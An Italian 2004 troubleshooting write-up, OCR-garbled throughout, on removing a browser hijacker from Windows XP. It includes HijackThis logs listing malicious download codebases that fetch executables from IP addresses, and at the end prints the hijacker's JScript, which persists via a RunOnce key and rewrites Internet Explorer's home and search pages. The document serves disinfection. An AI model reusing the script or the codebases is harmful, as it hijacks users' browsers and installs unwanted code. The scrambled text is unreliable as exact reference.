Come Eliminare uno Spyware

Eliminare Uno Spyware

Rivoli 09/12/2004

Il problema da risolvere e un noiosissimo Spyware che cambia la paginainiziale di Esplorer .
Non sembra cattivo ma e molto furbo.... lo imposto la pagina Blank ..... lui mi lascia fare ... per tutto il giorno non rompe ma appena si riawiail PC si
ripresenta.

Fase (1) HouseCall di Trend Micro

Lo scan individua un Virus TROJ_ESEPOR.U(1) in c:\windows\system32\xplugin.dl|

Lo elimino entrado in modalita prowisoria e cancellando il file ... (anche dal cestino) ... rifatto lo scan ... tutto OK ma "sorpresa ™ !!!! ... al successivo
restart la home page si € impostata nuovamente su http: //www.my-search.cc/ ...... evidentemente il virus eliminato non era il "decisore" della Home Page.

Fase (2) HijackThis
Lo Scan genera un file log.txt che elenca i processi aperti .exe e .... (non so come chiamarli) .... un elenco R1, RO, 01, 02, ..... 018 di ..... vedi file allegato .

Logfile of HijackThis v1.98.2

Scan saved at 8.55.14, on 09/12/2004

Platform Wndows XP SP1 (WnNT 5.01. 2600)

MBI E: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Runni ng processes:

C:\ W NDOMB\ Syst enB2\ snss. exe OK

C: \ W NDOWB\ syst enB2\ wi nl ogon. exe OK

C.\ W NDOWE\ syst enB2\ servi ces. exe OK

C:\ W NDOMB\ syst enB2\ | sass. exe OK

C.\ W NDOMS\ syst enB2\ svchost.exe OK -> 1 verificare

C. \ W NDOMS\ Syst enB2\ svchost.exe OK -> 2 verificare

C. \ W NDOWB\ syst enB2\ LEXBCES. EXE K

C. \ W NDOWS\ syst enB2\ spool sv. exe K

C.\ W NDOWE\ syst enB2\ LEXPPS. EXE K

C.\ W NDOWB\ Syst enB2\ DRI VERS\ CDANTSRV. EXE OK

C.\ W NDOWB\ Syst enB2\i netsrv\inetinfo.exe OK

C:\Progranm \Fil e comuni\ M crosoft Shared\VS7Debug\ mim exe K
C:\ W NDOMB\ Syst enB2\ nvsvc32. exe OK

C:\ Progranm \ Anal og Devi ces\ SoundMAX\ spkr non. exe OK

C: \ W NDOMS\ Syst enB2\ svchost . exe OK -> 3 verificare

C:.\ W NDOWE\ Expl orer. EXE OK

C:\ Progranm \ Java\j 2rel. 4.2 _03\bi n\jusched. exe ? verificare
C:\ Progr anm \ Cyber Li nk\ Power DVD\ DVDLauncher . exe OK
C.\ W NDOMS\ systenB2\dl a\tfswetrl.exe OK

C.\ Progranm \ Java\j 2rel. 4.2_03\bi n\jucheck.exe ? verificare
C.\Progranmm \ M crosoft IntelliPoint\point32. exe OK
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C.\Progranm \Del|l Al O Printer A920\dl bkbngr.exe OK

C.\ W NDOWB\ Syst enB2\ ct f non. exe K

C:.\ Progranm \ Messenger\ nsnsgs. exe K

C.\Programmi\Del|l AIO Printer A920\dl bkbrmon. exe OK

C:.\ Progr amm \ W nZi p\ WQKPI CK. EXE OK

C:\Progranm \ I nternet Explorer\iexplore.exe OK

H: \ Renot o\ Downl oad 02\ Utilita\Hijackthis\H jackThis.exe Programma in uso

Rl - HKCW Sof tware\ M crosoft\ I nternet Explorer\Min, Search Bar = http://searchcentral.cc/search. php?v=4&af f =4077 chi ave
el imnata

Rl - HKCW Software\ M crosoft\lnternet Explorer\Miin, Search Page = http://searchcentral.cc/index. php?v=4&aff=4077chi ave
corretta

R1 - HKCW Sof t war e\ M cr osof t \ Wndows\ Current Version\Internet Settings, ProxyOverride = *hot-searches. conf; *| ender - sear ch.
cont chiave elimnata

RO - HKCW Sof t ware\ M crosoft\ | nternet Explorer\Tool bar, Li nksFol der Nane = Col | egamenti OK

Ol - Hosts file is located at: C:\ W NDOAS\ nsdb\ hosts corretto

Ol - Hosts: 82.179.166. 164 | ender-search.comelimn nato

Ol - Hosts: 82.179.166. 165 hot-searches.comelinm nato

2 - BHO Acrol EH prObj O ass - {06849E9F- C8D7- 4D59- B87D- 784B7D6BEOB3} - E:\ Programm \ Adobe\ Acrobat 6. 0\ Reader\ ActiveX
\ Acr ol EHel per.dl |

BHO DrivelLetterAccess - {5CA3D70E- 1895- 11CF- 8E15- 001234567890} - C.\ W NDOWB\ syst enB2\ dl a\t f swshx. dl |

- Tool bar: &Radio - {8E718888-423F-11D2- 876E- 00A0C9082467} - C.\ W NDOWB\ Syst enB2\ nsdxm ocx
- HKLM ..\ Run: [NvCpl Daenpon] RUNDLL32. EXE C.\ W NDOAB\ Syst enB2\ NvCpl . dl | , N\vSt art up
- HKLM ..\ Run: [SunJavaUpdat eSched] C:\Progranm\Java\j2rel.4.2_03\bin\jusched. exe
- HKLM ..\ Run: [DVDLauncher] "C:\Progranm \ CyberLi nk\ Power DVD\ DVDLauncher . exe"
- HKLM ..\ Run: [dla] C\WNDOAS\systenB2\dl a\tfswctrl.exe

HKLM . .\ Run: [ Updat eManager] "C:\Programm \File coruni\ Soni c\ Updat e Manager\sgtray.exe" /r O4 - HKLM..\Run:
elliPoint] "C\Programi\M crosoft IntelliPoint\point32. exe"

HKLM . .\ Run: [Dell AIO Printer A920] "C \Progranmi\Dell Al O Printer A920\dl bkbngr. exe"
- HKLM ..\ RunOnce: [tlc] C: \W NDOAS\ updatel3.js
- HKCW..\Run: [CTFMON. EXE] C.\ W NDOWA\ Syst enB2\ ct f non. exe
- HKCW..\Run: [ MSMBGS] "C:.\Progranm \ Messenger\nsnsgs. exe" /background
- A obal Startup: WnZip Quick Pick.lnk = C\Progranmm \W nZi p\ WQKPI CK. EXE
- Extra button: (no nane) - {08BOE5C0-4FCB- 11CF- AAA5- 00401C608501} - C:\ W NDOWB\ Syst enB2\ nsj ava. dl |
™ - Extra 'Tools' nenuitem Sun Java Consol e - {08BOE5CO- 4FCB- 11CF- AAA5- 00401C608501} - C.\ W NDOWS\ Syst enB2\ nsj ava. dl | 9
- Extra button: Ricerche - {92780B25- 18CC- 41C8- B9BE- 3C9C571A8263} - E:\ PROGRA~1\ M CROS~1\ OFFI CE11\ REFI EBAR. DLL
@ - Extra button: Related - {c95fe080- 8f5d-11d2- a20b- 00aa003c157a} - C:\ W NDOAS\ web\rel ated. ht m
@ - Extra 'Tools' nenuitem Show &Rel ated Links - {c95fe080-8f5d-11d2- a20b-00aa003c157a} - C:\ W NDONS\ web\r el at ed. ht m
OL6 - DPF: {03F998B2- 0E00- 11D3- A498- 00104B6EB52E} (MetaStreantCt| Class) - http://conponents. netastream com MISlnstallers/
Met aSt r eanB. cab

OL6 - DPF: {10003000-1000- 0000-1000- 000000000000} - nms-its:mhtm:file://C\\MAI N MHT! http://207.44.186. 186/ b/ online.chm :/
on-1ine. exe

OL6 - DPF: {14A3221B-1678-1982- A355-7263B1281987} - ns-its:nmhtm :file://C\foo.mht!http://82.179.166.130/e9xr2.chm:/file.
exe OL6 - DPF: {1F831FA9-42FC- 11D4- 95A6- 0080AD30DCEL} (I nstaFred Control) - file://E: \Progranm\Aut oCAD 2000i Ita\lnstFred.
ocX

016 - DPF: {22945A69-1191- 4DCF- 9E6F- 409BDE94D101} ( EModel NonVer si onSpeci ficVi ewControl Cass) - http://ww.solidworks. con!

899999ﬁ9999988

pl ugi ns/ edr awi ngs/ downl oad. cf n?Rel ease=r el
0l6 - DPF:. {6414512B- B978- 451D AOD8- FCFDF33E833C} (WJMeébControl C ass) - http://v5.w ndowsupdate. m crosoft.com v5consuner/

V5Cont rol s/ en/ x86/ client/wiweb_site.cab?1098959606000

Ol6 - DPF: {78AF2F24- A9C3-11D3- BF8C- 0060BOFCC122} (Controllo AcDc oggi) - file://E \Programi\Aut oCAD 2000i |ta\AcDcToday.
ocX
OL6 - DPF: {9059F30F- 4EB1- 4BD2- 9FDC- 36F43A218F4A} (M crosoft RDP Client Control (redist)) - https://ats6:1279/tsweb/ nsrdp.
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cab

O16
ocx
oL7
o18
Qo18

DPF: {F281A59C- 7B65- 11D3- 8617- 0010830243BD} (Controll o AcPreview)

HKLM Syst em CCS\ Ser vi ces\ Tcpi p\. .\ { EOBE676B- 3FOF- 4EFA- A56B- 1A560D6F2697} :

Protocol : ms-help - {314111C7- A502- 11D2- BBCA- 00C04F8EC294} - C.\Progranm \File conmuni\ M crosoft Shared\ Hel p\ hxds. dl |

Filter:

text/htn

ancora registrata)

- {4F7681E5- 6CAF- 478D- 9CB8- 4CA593BEE7FB} -

C: \ W NDOAB\ Syst enB2\ xpl ugi n. dl |
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Ho evidenziato in verdei file .exe ok

smss.exe Session Manager Subsystem 5.1.2600.1106 (Windows)
winlogon.exe Applicazione Accesso a Windows NT 5.1.2600.1106 (Windows)

[]

service.exe Applicazione Servizi e Controller 5.1.2600.0 (Windows)

Isass.exe LSA Shell Export Version 5.1.2600.1106 (Windows)

svchost.exe Generic Host Process for Win32 Services 5.1.2600.0 (Windows)

LEXBCES.EXE Servizio stampante Dell , LexBce Service 8.16.0.0 (Lexmark)

spoolsv.exe Spooler SUbSystem App 5.1.2600.0 (Windows)

LEXPPS.EXE Servizio stampante Dell , MarkVision for Windows (32 bit) 8.16.0.0 (Lexmark)
CDANTSRV.EXE CD-Secure/CD-Compress Windows NT , C-Dilla RTS Service , (Macromedia)
inetinfo.exe Internet Information Services 5.1.2600.0 (Windows)

mdm.exe Machine Debug Manager (Visual Sudio 6.0)

nvsvc32.exe NVIDIA Driver Helper Service 6.14.10.6178 (nvidia)

spkrmon.exe SoundMAX Speaker Monitor service 1.0.0.4 (Driver Dell)

explorer.exe Esplora risorse 6.0.2800.1106 (\Windows)

jusched.exe (inutile, java si attiva uguale senza sta roba) non firmato

DVDLauncher.exe Lettore Dvd , CyberLink Power Cinema Resident Program 3.0.0.0 (CyberLink)
tfswctrl.exe Driver Masterizzatore, Drive Letter Access Component (SONIC)

point32.exe Microsoft IntelliPoint 5.0.174.0 (Microsoft)

dibkbmgr.exe Dell AIO Printer A920Button Manager (Stampante Dell)

ctfmon.exe CTF Loader 5.1.2600.1106 (Windows)

msmsgs.exe Messenger 4.7.0.41 (Microsoft)

dibkbmon.exe Dell AlO Printer A920Button Monitor (Dell)

iexplore.exe Internet Explorer 6.0.2800.1106 (Windows)

Con lo SartUp List si puo capire come vieneinizializzato il sistema :
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Startupli st report, 09/12/2004, 8.44.03

StartuplLi st version: 1.52.2

Started from: H \Renoto\Downl oad 02\ Utilita\H jackthis\H jackThis. EXE

Det ected: W ndows XP SP1 (W nNT 5.01.2600)

Detected: Internet Explorer v6.00 SP1 (6.00.2800.1106) * Using default options

Runni ng processes:

Li sting of startup fol ders:

Shel | fol ders Conmon Start up:

[ C:\Docunments and Settings\All Users\Menu Avvi o\ Programi \ Esecuzi one automati ca]
WnZip Quick Pick.lnk = C\Programi\Wnzi p\ WQKPI CK. EXE el i mi nat o

Checki ng Wndows NT Userlnit:
[ HKLM Sof t war e\ M cr osof t \ W ndows NT\ Curr ent Ver si on\ W nl ogon]
Userlnit = C\WNDOM\ systenB2\userinit.exe OK

Autorun entries from Registry:
HKLM Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run

NvCpl Daenmon = RUNDLL32. EXE C:\ W NDOWE\ Syst enB82\ NvCpl . dl | , NvStartup OK SunJavaUpdat eSched = C:\ Programm \Java\j2rel. 4.2_03
\ bi n\ jusched. exe

DvDLauncher = "C:\ Progranmi \ Cyber Li nk\ Power DVD\ DVDLauncher . exe" OK

dla = C\WNDONB\ systenB2\dl a\tfswectrl.exe OK

Updat eManager = "C.\Programi \ Fi |l e conuni\ Soni c\ Updat e Manager\sgtray.exe" /r K

IntelliPoint = "C\Progranm\ M crosoft IntelliPoint\point32. exe" K

Dell AIO Printer A920 = "C: \Progranmi\Dell Al O Printer A920\dl bkbmgr. exe"

Autorun entries from Registry:
HKLM Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunOnce
tlc = C\W NDOMS\ updat el13.js ecco |la riga responsabile (1)

Autorun entries from Registry:

HKCW Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run
CTFMON. EXE = C.\ W NDOWB\ Syst enB2\ ct f non. exe

MBMSGS = "C:\ Programm \ Messenger\ nensgs. exe" /background

Shel | & screensaver key from C: \ W NDOAS\ SYSTEM | NI :
Shel | =*I NI section not found*

SCRNSAVE. EXE=*I NI section not found*

drivers=*IN section not found*
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Shel | & screensaver key from Registry:
Shel | =Expl or er. exe

SCRNSAVE. EXE=C: \ W NDOWS\ Syst enB2\ | ogon. scr
drivers=*Regi stry val ue not found*

Policies Shell key:
HKCW ..\ Policies: Shell=*Registry key not found*
HKLM . .\ Policies: Shell=*Registry val ue not found*

Enunerating Browser Hel per Objects:
(no nane) - E:\Programmi\ Adobe\ Acrobat 6.0\ Reader\ Acti veX\ Acrol EHel per.dll - {06849E9F- C8D7- 4D59- B87D- 784B7D6BEOB3}
(no nanme) - C\WNDOMB\ systenB2\dl a\tfswshx.dl | - {5CA3D70E- 1895- 11CF- 8E15- 001234567890}

Enuner ati ng Downl oad Program Fil es:

[ MetaStreantt| d ass]

I nProcServer32 = C:\ Progranmmi\ Vi ewpoi nt\ Vi ewpoi nt Medi a Pl ayer\ AxMet aSt ream dl |
CODEBASE = http://conponents. netastream com MISInstall ers/MetaStreanB. cab

[ {10003000- 1000- 0000- 1000- 000000000000} ]
CODEBASE = ns-its:nhtm :file://C\\MAIN MHT! http://207.44.186.186/ b/ online.chm:/on-1ine.exe

[{14A3221B- 1678- 1982- A355- 7263B1281987} ]
CODEBASE = ns-its:mhtmd :file://C\foo.mht!http://82.179. 166. 130/ e9xr2.chm:/file. exe

[I nstaFred Control]
| nProcServer32 = C:\ W NDOAS\ DOANLO~1\ | nst Fr ed. ocx
CODEBASE = file://E:\Progranmm\ Aut oCAD 2000i Ita\lnstFred.ocx

[ EMbdel NonVer si onSpeci fi cVi ewControl C ass]
I nProcServer32 = C:\Progranm \Fil e comruni\ eDrawi ngs2005\ EModel Vi ew. dl |
CODEBASE = http://ww. sol i dworks. coml pl ugi ns/ edr awi ngs/ downl oad. cf n?Rel ease=r el

[ WWebCont rol Ol ass]
I nProcServer32 = C \ WNDOAS\ Syst en82\ wuweb. dl |
CODEBASE = http://v5. wi ndowsupdat e. mi crosoft. conl vbconsuner/V5Control s/ en/ x86/client/wiweb_site.cab?1098959606000

[Controll o AcDc oggi]
I nProcServer32 = C.\ W NDOANS\ DOANLO~1\ ACDCTO~1. OCX
CODEBASE = file://E:\Progranm \ Aut oCAD 2000i Ita\AcDcToday. ocx

[Mcrosoft RDP Cient Control (redist)]
I nProcServer32 = C:\ W NDOAS\ Downl oaded Program Fi |l es\ msrdp. ocx
CODEBASE = https://ats6:1279/t sweb/ nmsrdp. cab
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[ Shockwave Fl ash Obj ect]
I nProcServer32 = C:\ W NDOWB\ Syst enB2\ macr oned\ f | ash\ Fl ash. ocx
CODEBASE = htt p://downl oad. macr onedi a. conl pub/ shockwave/ cabs/fl ash/ swf | ash. cab

[Controll o AcPreview
I nProcServer32 = C.\ W NDOAS\ DOANLO~1\ ACPREV~1. OCX
CODEBASE = file://E: \Progranmm \ Aut oCAD 2000i |ta\AcPreview. ocx

Enunerati ng Shel | Servi ceObj ect Del ayLoad

itens: PostBoot Remi nder: C.\W NDOMS\ syst enB82\ SHELL32. dl |
CDBur n: C:\ W NDOAB\ syst enB2\ SHELL32. dlI |

WebCheck: C:.\ W NDOWE\ Syst en82\ webcheck. dl |

SysTray: C:\ W NDOAB\ Syst enB2\ st obj ect. dl |

End of report, 6.410 bytes

Report generated in 0,062 seconds

Command |ine options:

/verbose - to add additional info on each section

/conplete - to include enpty sections and unsuspici ous data

/full - to include several rarely-inportant sections

/force9x - to include Wn9x-only startups even if running on WnNT

/forcent - to include WnNT-only startups even if running on W n9x
/forceall - to include all Wn9x and WnNT startups, regardless of platform
/history - to list version history only
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userinit.exe Applicazione accesso Userinit 5.1.2600.1106 (Windows)
NvCpl.dll NVIDIA Display Properties Extension (NVidia)

Soluzione:

Eliminata chiave (1)
HKLM\Softwar e\Mi cr osoft\\WWindows\CurrentVer sion\RunOnce
tlc = C:\WINDOWS\updatel3.js

Sostituita chiave

HKLM\system\contr ol set001\services\tcpi p\paramiters
DataBasePath = %systemroot%\nsdb

in

DataBasePath = %systemroot%\system32\driver s\etc

Sostituita chiave

HKLM\system\contr ol set002\ser vices\tcpip\paramiters
DataBasePath = %systemroot%\nsdb

in

DataBasePath = %systemroot%\system32\drivers\etc

Sostituita chiave

HKLM\system\cur rentcontr ol set\services\tcpi p\paramiters
DataBasePath = %systemroot%\nsdb

in

DataBasePath = %systemroot%\system32\drivers\etc

Eliminata dyrectory c:\windows\nsdb

Testo del file updatel3.Js:
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var url = http://searchcentral.cc/index.php?v=4&aff=4077;

var burl = http://searchcentral.cc/search. php?v=4&aff =4077;

var fso = new ActiveXObject("Scripting.FileSystentbject");

var tfolder = fso. Get Speci al Fol der (0);

var filepath = tfolder + \\updatel3.|s;

var Shell = new ActiveXObject("Wscript. Shell");

Shel | . RegWite("HKLM\ Sof t war e\\ M crosof t \\ W ndows\ \ Cur rent Ver si on\\ RunOnce\\tlc",filepath); Shell.RegWite
("HKCW\ Sof tware\\ M crosoft\\Internet Explorer\\Main\\Start Page",url);

Shel | . RegWite

("HKCW\ Sof t war e\\ M crosoft\\Internet Explorer\\Min\\Search Page",url);

Shel | . RegWite

("HKCW\ Sof tware\\ M crosof t\\Internet Explorer\\Miin\\Search Bar", burl);

Shel | . RegWite

("HKCW\ Sof t ware\\ M crosof t\\Internet Explorer\\Min\\Use Search Asst","no"); Shell.RegWite
("HKCW\ Sof tware\\ M crosof t\\Internet Explorer\\Min\\Use Custom Search URL", 1,"REG DWORD") ;

Ecco spiegato e corretto il comportamento anomalo riscontrato sul Mio PC.
La chiave HKLM\Softwar e\Mi cr osoft\Windows\CurrentVer sion\RunOnce eseguiva ad ogni restart del sistema Questo script Java cambiando |e impostazioni
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di Windows Explorer.
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